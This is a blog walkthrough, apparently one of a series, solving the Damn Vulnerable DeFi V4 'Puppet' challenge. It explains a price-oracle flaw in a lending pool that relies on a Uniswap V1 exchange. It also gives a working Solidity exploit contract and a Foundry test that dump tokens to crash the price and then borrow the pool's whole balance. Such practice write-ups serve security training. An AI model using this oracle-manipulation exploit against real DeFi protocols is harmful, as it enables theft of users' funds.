Challenge 8: Puppet, Damn vulnerable defi V4 lazy solutions series

Siddharth PatelSiddharth Patel
4 min read

Why Lazy?

I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.

Problem statement:

The challenge centers around exploiting a vulnerability in a lending pool by manipulating its price Oracle. The issue arises from the use of a Uniswap V1 exchange as the price Oracle, which is problematic due to its limited liquidity, making it a poor choice for accurate price calculations.

The Smart Contracts

PuppetPool

PuppetPool is a lending pool that allows users to borrow DVT tokens, provided they deposit twice the amount in Ether as collateral. The pool relies on Uniswap V1 to determine the price of DVT by using a market created on the Uniswap exchange. This reliance on Uniswap V1 for price calculations is the vulnerability that the attacker exploits.

DVT Tokens

DVT is an ERC20 token used within the Uniswap V1 decentralized exchange (DEX) to create a liquidity pool. These tokens can also be borrowed from the PuppetPool, which calculates their value based on the Uniswap V1 market price.

Uniswap V1 Contracts

Designed with simplicity at its core, Uniswap V1 provides a straightforward interface for exchanging ERC20 tokens on the Ethereum network. The protocol is engineered to minimize unnecessary fees and eliminate intermediaries, enabling faster and more efficient transactions. Uniswap V1 prioritizes decentralization, censorship resistance, and enhanced security, even when it means making trade-offs in other areas.

The Vulnerability

The vulnerability in the PuppetPool challenge stems from the way the contract determines the price of the DamnValuableToken (DVT) token. It relies on a function called _computeOraclePrice, which calculates the token's price using the balance of the Uniswap pair:

solidityCopy codefunction _computeOraclePrice() private view returns (uint256) {
    // calculates the price of the token in wei according to Uniswap pair
    return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

At first glance, this method might seem reasonable, as Uniswap is a widely recognized decentralized exchange, and its price data is often used as an oracle in various DeFi projects.

However, the problem lies in the contract's exclusive dependence on the balance of the Uniswap pair to determine the token's price. This heavy reliance on Uniswap's liquidity introduces a significant vulnerability. Here's how the exploit unfolds...

The Attack Strategy

Uniswap liquidity pools, especially those with low liquidity, are vulnerable to manipulation. In the PuppetPool challenge, the balance of the liquidity pool is crucial in determining the token's price. An attacker can exploit this by manipulating the pool's balance to distort the perceived value of the DVT token.

Here's how the exploit unfolds step by step:

  1. Dumping DVT Tokens: The attacker begins by dumping a large quantity of DVT tokens into the Uniswap liquidity pool. This sudden influx dramatically increases the token supply in the pool, causing the price of DVT to plummet.

  2. Altering Price Perception: With the DVT price significantly depressed due to the inflated token supply, the PuppetPool contract now perceives DVT as being nearly worthless.

  3. Minimal Collateral: The attacker then deposits a small amount of ETH as collateral in the PuppetPool. Because the contract believes that DVT is almost worthless—thanks to the manipulated Uniswap price—it doesn't require a substantial ETH deposit.

  4. Borrowing Tokens: With minimal ETH collateral, the attacker can borrow or effectively steal all the DVT tokens from the PuppetPool. The contract's flawed price perception facilitates this.

In summary, the vulnerability arises from the contract's over-reliance on Uniswap liquidity to determine token prices. Low-liquidity Uniswap pools can be easily manipulated, leading to a distorted price that the contract unwittingly accepts, enabling the exploit.

Solution

test/puppet/PuppetExploit.sol

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity =0.8.25;

import {Test, console} from "forge-std/Test.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {PuppetPool} from "../../src/puppet/PuppetPool.sol";
import {IUniswapV1Exchange} from "../../src/puppet/IUniswapV1Exchange.sol";

contract PuppetExploit {
    DamnValuableToken token;
    PuppetPool lendingPool;
    IUniswapV1Exchange uniswapV1Exchange;
    address recovery;

    constructor(
        DamnValuableToken _token,
        PuppetPool _lendingPool,
        IUniswapV1Exchange _uniswapV1Exchange,
        address _recovery 
    ) payable {
        token = _token;
        lendingPool = _lendingPool;
        uniswapV1Exchange = _uniswapV1Exchange;
        recovery = _recovery;
    }

    function attack(uint exploitAmount) public {

        uint tokenBalance = token.balanceOf(address(this));
        token.approve(address(uniswapV1Exchange), tokenBalance);
        uniswapV1Exchange.tokenToEthTransferInput(tokenBalance, 9, block.timestamp, address(this));

        lendingPool.borrow{value: address(this).balance}(
            exploitAmount,
            recovery
        );
    }

    receive() external payable {

    }
}

test/puppet/Puppet.t.sol

    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_puppet() public checkSolvedByPlayer {

        PuppetExploit exploit = new PuppetExploit{value:PLAYER_INITIAL_ETH_BALANCE}(
            token,
            lendingPool,
            uniswapV1Exchange,
            recovery
        );

        token.transfer(address(exploit), PLAYER_INITIAL_TOKEN_BALANCE);
        exploit.attack(POOL_INITIAL_TOKEN_BALANCE);
    }

Let's see it in action,

forge test --mp test/puppet/Puppet.t.sol

Succeed!🔥💸

Incase if you need all solutions,

https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions

0
Subscribe to my newsletter

Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Siddharth Patel
Siddharth Patel

I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.